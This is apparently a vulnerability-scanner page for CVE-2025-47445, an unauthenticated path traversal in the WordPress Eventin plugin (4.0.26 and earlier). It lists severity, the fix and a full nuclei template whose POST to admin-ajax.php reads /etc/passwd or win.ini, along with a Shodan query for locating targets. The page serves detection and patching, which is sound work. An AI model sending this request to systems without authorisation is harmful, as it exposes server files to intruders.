WordPress Eventin (Themewinter) ≤ 4.0.26 - Arbitrary File Download

highseverity

7.5CVSS score

5.2%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Themewinter Eventin contains a path traversal caused by relative path manipulation, letting attackers access arbitrary files on the server, exploit requires no specific privileges or user interaction.

Impact

Attackers can access sensitive files on the server, potentially leading to information disclosure or system compromise.

Fix

Update to the latest version of Eventin, version 4.0.27 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=proxy_image&url={{path}}
Positive when: matches /root:.*:0:0:/ AND status 400

Run it with nuclei: nuclei -id CVE-2025-47445 -u <target>

The full check

id: CVE-2025-47445

info:
  name: WordPress Eventin (Themewinter) ≤ 4.0.26 - Arbitrary File Download
  author: hnd3884
  severity: high
  description: |
    Themewinter Eventin contains a path traversal caused by relative path manipulation, letting attackers access arbitrary files on the server, exploit requires no specific privileges or user interaction.
  impact: |
    Attackers can access sensitive files on the server, potentially leading to information disclosure or system compromise.
  remediation: |
    Update to the latest version of Eventin, version 4.0.27 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/wp-event-solution/vulnerability/wordpress-eventin-4-0-26-arbitrary-file-download-vulnerability?_s_id=cve
    - https://github.com/advisories/GHSA-c3pr-284f-8x9f
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47445
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-47445
    cwe-id: CWE-23
    epss-score: 0.0516
    epss-percentile: 0.92503
    cpe: cpe:2.3:a:themewinter:eventin:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themewinter
    shodan-query: html:"wp-event-solution"
  tags: cve,cve2025,wordpress,wp,wp-plugin,eventin,lfi,wp-event-solution,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=proxy_image&url={{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from